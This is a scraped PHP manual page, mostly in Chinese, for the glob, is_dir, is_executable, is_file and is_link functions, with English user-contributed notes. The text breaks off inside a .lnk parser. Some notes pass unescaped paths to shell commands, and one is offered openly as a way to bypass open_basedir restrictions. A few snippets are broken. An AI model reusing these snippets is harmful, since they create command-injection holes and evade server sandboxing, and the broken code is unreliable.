Several of the examples use a notation "*.*" when just plain "*" does the same thing.  The "*.*" notation is misleading as it implies foo.ext will not be found with "*" because the "." is not present.

Watch the flags must not be strings. They are defined constants. Thus,
glob("../*", GLOB_ONLYDIR)  works;
glob("../*", "GLOB_ONLYDIR")  does not.
viajy at yoyo dot org 10-Feb-2007 04:50
this is a recursive function i wrote to return an array of all subdirectories of a dir

function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}

example:
print_r(listdirs('/some/path'));
lesion at autistici dot org 04-Dec-2006 08:14
Maybe all of you still know this, but it seems that if the directory contains some unresolved symlink, glob() simply ignore those files.
torch at torchsdomain dot com 22-Nov-2006 12:25
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
guilleva at gmail dot com 19-Oct-2006 08:54
In some systems (AIX for example) GLOB_BRACE isn't defined and you get the error:
glob() expects parameter 2 to be long, string given in /XX/XX.php

<?

foreach (glob("{*.pdf,*.PDF}",GLOB_BRACE ) as $filename) {
      echo "$filename \n";
}

?>

The method may help you in this case.

<?

foreach (array_merge(glob("*.pdf"),glob("*.PDF")) as $filename) {
      echo "$filename \n";
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 11:01
<?php
$html_array = glob("*.html");

function sort_by_mtime($file1,$file2) {
    $time1 = filemtime($file1);
    $time2 = filemtime($file2);
    if ($time1 == $time2) {
        return 0;
    }
    return ($time1 < $time2) ? 1 : -1;
    }

usort($html_array,"sort_by_mtime");
//$html_array is now ordered by the time it was last modified
?>
redcube at gmx dot de 14-Aug-2006 02:22
Please note that glob('*') ignores all 'hidden' files by default. This means it does not return files that start with a dot (e.g. ".file").
If you want to match those files too, you can use "{,.}*" as the pattern with the GLOB_BRACE flag.

<?php
// Search for all files that match .* or *
$files = glob('{,.}*', GLOB_BRACE);
?>

Note: This also returns the directory special entries . and ..
info at urbits dot com 06-Jan-2006 04:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
DMan 28-Aug-2005 12:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
NOSPAM sketch at infinite dot net dot au 14-Mar-2005 05:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "\n";
}
?>

Hope this helps someone
23-Jan-2005 01:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
      echo "$filename size " . filesize($filename) . "\n";
   }
}
?>


判断给定文件名是否是一个目录

  • ? glob
  • is_executable ?
  • PHP Manual
  • 文件系统函数
  • 判断给定文件名是否是一个目录

is_dir

(PHP 4, PHP 5, PHP 7, PHP 8)

is_dir — 判断给定文件名是否是一个目录

说明

is_dir(string $filename): bool

判断给定文件名是否是一个目录。

参数

filename

文件路径，如果 filename 是相对文件名，会相对于当前工作目录进行检查。如果 filename 是符号链接或者硬链接，然后解析链接并检查。如果启用了 open_basedir，则会应用更多限制。

返回值

如果文件名存在，并且是个目录，返回 true，否则返回false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 is_dir() 例子

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('bogus_dir/abc'));

var_dump(is_dir('..')); //one dir up
?>

以上示例会输出：

bool(false)
bool(false)
bool(true)

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • chdir() - 改变目录
  • dir() - 返回一个 Directory 类实例
  • opendir() - 打开目录句柄
  • is_file() - 判断给定文件名是否为一个正常的文件
  • is_link() - 判断给定文件名是否为一个符号连接

User Contributed Notes

musicmaster 07-May-2023 07:01
is_dir() doesn't work with a directory that has the name "0" (a single zero). Neither does realpath().

This is my experience with PHP 7.4.
jerome dot pros at gmail dot com 31-Jan-2019 08:40
Note that is_dir() also works with ftp://.

For example :

<?php
if(is_dir('ftp://user:pass@host/www/path/to/your/folder')) {
    // Your code.
}
?>

But note that if the connexion fails due to invalide credentials, this will consider that the folder doesn't exist and will return FALSE.
citizenmarco at gmail dot com 03-Jul-2016 05:25
Note that there quite a few articles on the net that imply that commands like is_dir, opendir, readdir cannot read paths with spaces.

On a linux box, THAT is not an issue.

Sample test code;

 $dir = "Images/Soma ALbum Name with spaces";

echo $dir."<br/>";

// Open a directory, and read its contents
if (is_dir($dir)){
  echo $dir."<br/>"; // will not appear if above fails
    if ($dh = opendir($dir)){
      echo $dir."<br/>"; // will not appear if above fails
      while (($file = readdir($dh)) !== false){
        echo "filename:" . $file . "<br>";
        echo $dir."<br/>"; // will not appear if above fails
      }
      closedir($dh);
    }
}
Bjrn K. 14-Mar-2016 03:17
Note that this functions follows symbolic links. It will return true if the file is actually a symlink that points to a directory.

An example:
<php
symlink(".", "testlink");
var_dump(is_dir("testlink"));
unlink("testlink");
?>

Prints out:
bool(true)

(Windows Note: Under recent versions of Windows you can set symlinks as long as you're administrator, but you cannot remove directory symlinks with "unlink()", you will have to use "rmdir testlink" from the shell to get rid of it.)
thomas at thomasnoest dot nl 15-Nov-2015 11:39
Note that on Linux is_dir returns FALSE if a parent directory does not have +x (executable) set for the php process.
jonlulf at gmail dot com 18-Sep-2015 02:26
My solution to the problem that you must include the full path to make "is_dir" work properly as a complete example:

    <? // findfiles.php  -  what is in directory "videoarchive"
    $dir    = 'images/videoarchive/'; // path from top
    $files = scandir($dir);
    $files_n = count($files);

    $i=0;
    while($i<=$files_n){
        // "is_dir" only works from top directory, so append the $dir before the file
        if (is_dir($dir.'/'.$files[$i])){
            $MyFileType[$i] = "D" ; // D for Directory
        } else{
            $MyFileType[$i] = "F" ; // F for File
        }
        // print itemNo, itemType(D/F) and itemname
        echo '<br>'.$i.'. '. $MyFileType[$i].'. ' .$files[$i] ;
        $i++;
    }
    ?>
niceuser at live dot com 10-Apr-2013 07:20
PITFALL in sub dir processing

After struggeling with a sub-dir processing (some subdirs were skipped) AND reading the posts, I realized that virutally no-one clearly told what were wrong.

The common traverse dir code was:
-----------------------------------------

opendir("myphotos"); // Top dir to process from (example)

while (false !== ($fname = readdir($h_dir))) { // process current dir (read a directory entry)

   if ($fname{0} == '.') continue; // skip dirs . and .. by first char test

   if (is_dir($fname)) call_own_subdir_process;  // process this subdir by calling a routine

   }

PROBLEM IS :

The "is_dir()" must have the FULL PATH or it will skip some dirs. So the above code need to INSERT THE PATH before the filename. This would give this change in above...

   if (is_dir("myphotos\" . $fname)) call_own_subdir_process;  // skip subdirs

The pitfall really was, that without full path some subdirs were found...hope this clears all up
Victor 13-Mar-2013 03:37
If you are using Mac, or others systems that store information about the directory layout and etc, the function:

   function empty_dir($dir) {
        if (($files = @scandir($dir)) && count($files) <= 3)
            return true;
        else
            return false;
    }

Must have the count($files) comparing with the number of hidden files!

For example, I'm using Mac and the empty directory shows me three files: ".", ".." and ".DS_Store", so if I am planning to put the website online on my Mac, I've to count in the ".DS_Store" file!
digitalaudiorock at gmail dot com 09-Jun-2010 12:48
Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default.  With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false.  Adding the noserverino option to the CIFS mount will prevent this.  This may only occur on 32 systems but I don't have a 64 bit install to test against.
vstoykov at consultant dot bg 23-Apr-2009 03:43
When trying (no 'pear') to enumerate mounted drives on a win32  platform (Win XP SP3, Apache/2.2.11, PHP/5.2.9), I used:

<?php
function echo_win_drives() {

  for($c='A'; $c<='Z'; $c++)
    if(is_dir($c . ':'))
      echo $c . ': ';
}
?>

which yielded:
A: C: D: E: F: G: H: I:
alanguir at detroitchamber dot com 28-Jan-2009 09:02
When I run a scandir I always run a simple filter to account for file system artifacts (especially from a simple ftp folder drop) and the "." ".." that shows up in every directory:

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>
Btx 26-Sep-2008 03:03
<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)
jasoneisen at gee mail 29-Aug-2008 08:53
An even better (PHP 5 only) alternative to "Davy Defaud's function":

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>

NOTE: you should obviously be checking beforehand if $dir is actually a directory, and that it is readable, as only relying on this you would assume that in both cases you have a non-empty readable directory.
Anonymous 17-Dec-2007 11:51
One note regarding checking for empty directories :
>>echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
This does not work correctly on Linux.
The '.' and '..' will always be returned even if no files are present in the directory.
danr at cvisual dot com dot com 18-Jul-2007 02:54
Running PHP 5.2.0 on Apache Windows, I had a problem (likely the same one as described by others) where is_dir returned a False for directories with certain permissions even though they were accessible.

Strangely, I was able to overcome the problem with a more complete path. For example, this only displays "Works" on subdirectories with particular permissions (in this directory about 1 out of 3):

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        if(is_dir($f)) {
            echo "<b>Works:" . $f . "</b>";
        }
}

However, this works properly for all directories:

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        $dName = "./albums/mydir/" . $f;
        if(is_dir($dName)) {
            echo "<b>Works:" . $dName . "</b>";
        }
}

I don't understand the hit-and-miss of the first code, but maybe the second code can help others having this problem.
gecko4 at gmail dot com 24-Feb-2007 09:03
Here is another way to test if a directory is empty, which I think is much simpler than those posted below:

<?php
$dir = 'directory';
echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
?>
Eric 24-Oct-2006 01:53
Ah ha!  Maybe this is a bug, or limitation to be more precise, of php. See http://bugs.php.net/bug.php?id=27792

A workaround is posted on the page (above) and seems to work for me:

function is_dir_LFS($path){
  return (('d'==substr(exec("ls -dl '$path'"),0,1))?(true):(false));
}

PS: I'm using PHP 4.3.10-16, posts report this problem up to 5.0
puremango dot co dot uk at gmail dot com 08-Feb-2005 11:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
    // bypasses open_basedir restrictions of is_dir and fileperms
    $tmp_cmd = `ls -dl $dir`;
    $dir_flag = $tmp_cmd[0];
    if($dir_flag!="d")
    {
        // not d; use next char (first char might be 's' and is still directory)
        $dir_flag = $tmp_cmd[1];
    }
    return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
02-Feb-2005 04:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com 01-Feb-2005 12:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
    $arrfiles = array();
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            chdir($dir);
            while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != "..") {
                    if (is_dir($file)) {
                        $arr = scan_Dir($file);
                        foreach ($arr as $value) {
                            $arrfiles[] = $dir."/".$value;
                        }
                    } else {
                        $arrfiles[] = $dir."/".$file;
                    }
                }
            }
            chdir("../");
        }
        closedir($handle);
    }
    return $arrfiles;
}

?>
sly at noiretblanc dot org 28-May-2004 10:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
    if ((fileperms("$file") & 0x4000) == 0x4000)
        return TRUE;
    else
        return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.


判断给定文件名是否可执行

  • ? is_dir
  • is_file ?
  • PHP Manual
  • 文件系统函数
  • 判断给定文件名是否可执行

is_executable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_executable — 判断给定文件名是否可执行

说明

is_executable(string $filename): bool

判断给定文件名是否可执行。

参数

filename

文件的路径。

返回值

如果文件存在且可执行则返回 true，错误时返回 false。在 POSIX 系统中，如果设置了文件权限的可执行位，则文件可执行。对于 Windows，请参阅下面的注释。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 is_executable() 例子

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
echo $file.' is executable';
} else {
echo $file.' is not executable';
}

?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

Note: 在 Windows 上，如果文件是 Win API GetBinaryType() 报告的正确可执行文件，则该文件视为可执行文件；由于 BC 原因，扩展名是 .bat 或 .cmd 的文件也被视为可执行文件。在 PHP 7.4.0 之前，任何扩展名是 .bat 或 .cmd 的非空文件都被视为可执行文件。注意 PATHEXT 与 is_executable() 无关。

参见

  • is_file() - 判断给定文件名是否为一个正常的文件
  • is_link() - 判断给定文件名是否为一个符号连接

User Contributed Notes

Anonymous 30-Sep-2020 02:41
Under windows, it seems to returns always false for directories.

I.e

<?php
$dir = __DIR__;
$result = is_executable($dir) ? 'true' : 'false';

if($result){
  echo $result;
}
?>

So do NOT use this to check if a folder is transversable because it will be system dependant code.
nick at NOSPAM dot ogredata dot com 29-Jan-2020 06:33
This function returns the value for the process PHP is executing under.

/var/somebody/files was only executable by owner (700).

It contained world-readable files, but without execute permission, PHP could not access the directory to download the files.

is_executable() returned false.

Making the dir world-executable (701) gave access to PHP.  The download worked. And is_executable() returned true.

I assume that if I added PHP to the group of the folder and gave the group executable permission, that would also work.
divinity76 at gmail dot com 24-May-2019 09:41
is_executable() does not check the PATH environment variable, so if your current working dir is /dir/ and you have /bin/ in your PATH env and the file /bin/ffmpeg exists, then you can still run shell_exec("ffmpeg"), but is_executable("ffmpeg") will return false.

if you're looking for a version of is_executable that also considers the PATH environment variable, then try this:

<?php

function is_executable_pathenv(string $filename): bool
{
    if (is_executable($filename)) {
        return true;
    }
    if ($filename !== basename($filename)) {
        return false;
    }
    $paths = explode(PATH_SEPARATOR, getenv("PATH"));
    foreach ($paths as $path) {
        if (is_executable($path . DIRECTORY_SEPARATOR . $filename)) {
            return true;
        }
    }
    return false;
}
telezhkin at gmail dot com 01-May-2019 11:03
Find no mention of this, but is_executable returns result for owner permissions only (not for group or other).
Shyammakwana.me 06-Aug-2016 06:38
For windows users,

It will return TRUE for EXE extensions. I have checked for MSI, but it returns FALSE.


判断给定文件名是否为一个正常的文件

  • ? is_executable
  • is_link ?
  • PHP Manual
  • 文件系统函数
  • 判断给定文件名是否为一个正常的文件

is_file

(PHP 4, PHP 5, PHP 7, PHP 8)

is_file — 判断给定文件名是否为一个正常的文件

说明

is_file(string $filename): bool

判断给定文件名是否为一个正常的文件。

参数

filename

文件的路径。

返回值

如果文件存在且为正常的文件则返回 true，否则返回 false。

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 is_file() 例子

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

以上示例会输出：

bool(true)
bool(false)

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • is_link() - 判断给定文件名是否为一个符号连接
  • SplFileInfo

User Contributed Notes

samuel at jch-optimize dot net 29-Jul-2022 05:10
Note also that if is_file(), (and also is_dir()), will return false if you have the open_basedir configuration set and the file (or directory) is not in one of the configured locations.

Essentially as the other notes offer, if you don't have permissions to access the file or dir these functions return false but this is also another use case that one may overlook.
alex at magemore dot com 08-Sep-2016 03:08
it doesn't work for file over 8Gb. returns false when there actually a file.
it's probably connected to 32bit integer problem and filesize
www.ip4t.net - abdelrahman nourallah 04-Dec-2015 11:37
sometimes this function does not work because permission ,

you can use this function that check if the path has dot in last will return true .

public function isFile($file) {
        $f = pathinfo($file, PATHINFO_EXTENSION);
        return (strlen($f) > 0) ? true : false;
    }

isfile('http://www.ip4t.net/image.jpg');

you should replace a string between '' with your file path to check
Anonymous 02-Mar-2014 09:13
Please be aware wildcards do not work as one might expect.

<?php
$file = '*.*';

if ( is_file($file) ) {
  echo( $file . ' is a regular file' );
} else {
  echo( $file . ' is not a regular file' );
}
?>

The above snippet suggests that *.* is a regular file. It does not sound regular to me. I would expect is_file() to return FALSE.
sarken at free dot fr 13-Aug-2013 04:42
I see, is_file not work properly on specifical file in /dev (linux)
look :

root@boofh:/data# php -r "var_dump(is_file('/dev/core'));"
bool(true)
root@boofh:/data# php -r "var_dump(is_file('/proc/kcore'));"
bool(true)

root@boofh:/data# ls -alh /proc/kcore
-r-------- 1 root root 128T Aug 13 18:39 /proc/kcore

OR FIND do not detect regular file.
root@boofh:/data# find /dev/ -type f
root@boofh:/data#

// version of php :
root@boofh:/data# php -v
PHP 5.4.4-14+deb7u3 (cli) (built: Jul 17 2013 14:54:08)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
david at bruchmann-web dot de 10-May-2013 05:36
Today I got the in the comments already described behaviour that between directory and file can't be distinguished by is_file() or is_dir().
A dirty and incomplete hack is below, incomplete because it never includes links and I never tested what happens when a directory is not allowed to be read.

$items = scandir($dir);
foreach ($items as $item){
    if ($item!='.' && $item!='..'){
        $deep = @scandir($dir.'/'.$item);
        echo ($deep ? '[DIR] ':'[FILE] '.$item.nl2br(PHP_EOL);
    }
}
Anonymous 06-Feb-2012 07:44
Note that is_file() returns false if the parent directory doesn't have +x set for you; this make sense, but other functions such as readdir() don't seem to have this limitation. The end result is that you can loop through a directory's files but is_file() will always fail.
Anonymous 18-Jun-2011 11:47
is_file doesn't recognize files whose filenames contain strange characters like czech ? or russian characters in general.

I've seen many scripts that take it for granted that a path is a directory when it fails is_file($path). When trying to determine whether a path links to a file or a dir, you should always use is_dir after getting false from is_file($path). For cases like described above, both will fail.
don dot duvall at deduvall dot com 11-Sep-2009 02:55
I have noticed that using is_file on windows servers (mainly for development) to use a full path c:\ doesn't always work.

I have had to use
C:/foldertowww/site/file.ext

so I preform an str_replace('\\', '/', $path)
Sometimes I have had the \ instead of / work. (this is using apache2 on XP)

but for sure you cannot have mixed separators.
ca dot redwood at gmail dot com 23-Apr-2009 12:24
this is a simple way to find specific files instead of using is_file().
this example is made for mac standards, but easily changed for pc.

<?php
function isfile($file){
    return preg_match('/^[^.^:^?^\-][^:^?]*\.(?i)' . getexts() . '$/',$file);
    //first character cannot be . : ? - subsequent characters can't be a : ?
    //then a . character and must end with one of your extentions
    //getexts() can be replaced with your extentions pattern
}

function getexts(){
    //list acceptable file extensions here
    return '(app|avi|doc|docx|exe|ico|mid|midi|mov|mp3|
                 mpg|mpeg|pdf|psd|qt|ra|ram|rm|rtf|txt|wav|word|xls)';
}

echo isfile('/Users/YourUserName/Sites/index.html');
?>
Kevin Gregull 13-Nov-2008 08:14
This Function deletes everything in a defined Folder:
Works with PHP 4 and 5.

<?php
  function deletefolder($path)
  {
    if ($handle=opendir($path))
    {
      while (false!==($file=readdir($handle)))
      {
        if ($file<>"." AND $file<>"..")
        {
          if (is_file($path.'/'.$file))
          {
            @unlink($path.'/'.$file);
          }
          if (is_dir($path.'/'.$file))
          {
            deletefolder($path.'/'.$file);
            @rmdir($path.'/'.$file);
          }
        }
      }
    }
  }
?>
rigrace at swbell dot net 09-Oct-2008 09:48
It took me a day or so to figure out that is_file() actually looks for a valid $ existing path/file in string form. It is not performing a pattern-like test on the parameter given. Its testing to see if the given parameter leads to a specific  existing 'name.ext' or other (non-directory) file type object.
sy well-known-sign damla.net 23-Mar-2008 04:23
In 32 bit environments, these functions including is_file(), stat() filesize() will not work due to PHPs default integer being signed. So anything above ~2.1 billion bytes you actually get a negative value.

This is actually a bug but I dont think there is an easy workaround. Try to switch to 64 bit.
gizmo at gizmo dot sk 22-Feb-2008 01:50
here is a workaround for the file size limit. uses bash file testing operator, so it may be changed to test directories etc.  (see http://tldp.org/LDP/abs/html/fto.html for possible test operators)

<?php
function is_file_lfs($path){
    exec('[ -f "'.$path.'" ]', $tmp, $ret);
    return $ret == 0;
}
?>
cristian dot ban at neobytesolutions com 27-Jun-2007 01:46
regarding note from rehfeld dot us :

In my experience the best( and easiest ) way to find the extension of a file is :

<?php

// use this when you are sure it actually has an extension.
$extension = end(explode(".", $file_name));

?>

or

<?php

// this one will also check if it actually has an extension
$parts = explode(".", $file_name);
if (is_array($parts) && count($parts) > 1)
    $extension = end($parts);

?>
tatarynowicz at gmail dot com 17-Oct-2006 07:35
An easy way not to have to choose between hard-coding full paths and using relative paths is either via this line:

<?php
// in the bootstrap file
define('DIR_ROOT', dirname(__FILE__));
// in other files, prefix paths with the constant
require(DIR_ROOT . '/relative/to/bootstrap.php');
?>

or if you have to use a relative path:

<?php
require(dirname(__FILE__) . '/relative/to/this_file.php');
?>

This way all your paths will be absolute, yet you can move the application anywhere in the filesystem.

BTW, each successive call to dirname takes you one step up in the directory tree.

<?php
echo __FILE__;
// /www/site.com/public/index.php
echo dirname(__FILE__);
// /www/site.com/public
echo dirname(dirname(__FILE__));
// /www/site.com
?>
Jonathan Shaltz 14-Oct-2005 10:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola 30-Aug-2005 06:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
08-Mar-2005 09:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com 25-Oct-2004 11:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us 03-Sep-2004 03:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :   filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
    $pos = strrpos($document, '.');
    if (false !== $pos && strlen($document) > $pos + 1) {
        $ext = substr($document, $pos + 1);
    }
}

?>
rlh at d8acom dot com 12-Feb-2003 05:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
    $ext=explode('.',$document);
    if($document != '.' && $document != '..' && $ext[1])
    {
                       'Do something to file...'
              }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at 27-Mar-2002 11:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org 13-Dec-2001 08:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).


判断给定文件名是否为一个符号连接

  • ? is_file
  • is_readable ?
  • PHP Manual
  • 文件系统函数
  • 判断给定文件名是否为一个符号连接

is_link

(PHP 4, PHP 5, PHP 7, PHP 8)

is_link — 判断给定文件名是否为一个符号连接

说明

is_link(string $filename): bool

判断给定文件名是否为一个符号连接。

参数

filename

文件的路径。

返回值

如果文件存在并且是一个符号连接则返回 true，否则返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 创建并确认一个文件是否为符号连接

<?php
$link = 'uploads';

if (is_link($link)) {
echo readlink($link);
} else {
symlink('uploads.php', $link);
}
?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • is_file() - 判断给定文件名是否为一个正常的文件
  • readlink() - 返回符号连接指向的目标

User Contributed Notes

msaladna at apisnetworks dot com 21-Sep-2017 03:55
Careful when using is_link() in thread-safe builds with the self-referential directory entry ".". On ZTS builds is_link("/home/symlink/.") will return true whereas it returns false on non-ZTS builds.
gggeek 18-Sep-2013 08:53
On windows, take care that is_link returns false for Junctions.
Ways of telling apart a directory from a junction include doing both a stat() and and lstat() call and checking if there is any difference in the results
PaulE 02-Jun-2009 02:03
A workaround for Windows LNK files:

<?php

function _is_link($filename)
{
    if(is_link($filename))
        return true;

    $ext = substr(strrchr($filename, '.'), 1);
    if(strtolower($ext) == 'lnk')
    {
        return (_readlink($filename) ? true : false);
    }

    return false;
}

function _readlink($file)
{
    if(file_exists($file))
    {
        if(is_link($file))
        {
            return readlink($file);
        }

        // Get file content
        $handle = fopen($file, "rb");
        $buffer = array();

        while(!feof($handle))
        {
            $buffer[] = fread($handle, 1);
        }

        fclose($handle);

        // Test magic value and GUID
        if(count($buffer) < 20)
            return false;
        if($buffer[0] != 'L')
            return false;
        if((ord($buffer[4]) != 0x01) ||
           (ord($buffer[5]) != 0x14) ||
           (ord($buffer[6]) != 0x02) ||
           (ord($buffer[7]) != 0x00) ||
           (ord($buffer[8]) != 0x00) ||
           (ord($buffer[9]) != 0x00) ||
           (ord($buffer[10]) != 0x00) ||
           (ord($buffer[11]) != 0x00) ||
           (ord($buffer[12]) != 0xC0) ||
           (ord($buffer[13]) != 0x00) ||
           (ord($buffer[14]) != 0x00) ||
           (ord($buffer[15]) != 0x00) ||
           (ord($buffer[16]) != 0x00) ||
           (ord($buffer[17]) != 0x00) ||
           (ord($buffer[18]) != 0x00) ||
           (ord($buffer[19]) != 0x46))
        {
            return false;
        }

        $i = 20;
        if(count($buffer) < ($i + 4))
            return false;

        $flags = ord($buffer[$i]);
        $flags = $flags | (ord($buffer[++$i]) << 8);
        $flags = $flags | (ord($buffer[++$i]) << 16);
        $flags = $flags | (ord($buffer[++$i]) << 24);

        $hasShellItemIdList = ($flags & 0x00000001) ? true : false;
        $pointsToFileOrDir = ($flags & 0x00000002) ? true : false;

        if(!$pointsToFileOrDir)
            return false;

        if($hasShellItemIdList)
        {
            $i = 76;
            if(count($buffer) < ($i + 2))
                return false;

            $a = ord($buffer[$i]);
            $a = $a | (ord($buffer[++$i]) << 8);

        }

        $i = 78 + 4 + $a;
        if(count($buffer) < ($i + 4))
            return false;

        $b = ord($buffer[$i]);
        $b = $b | (ord($buffer[++$i]) << 8);
        $b = $b | (ord($buffer[++$i]) << 16);
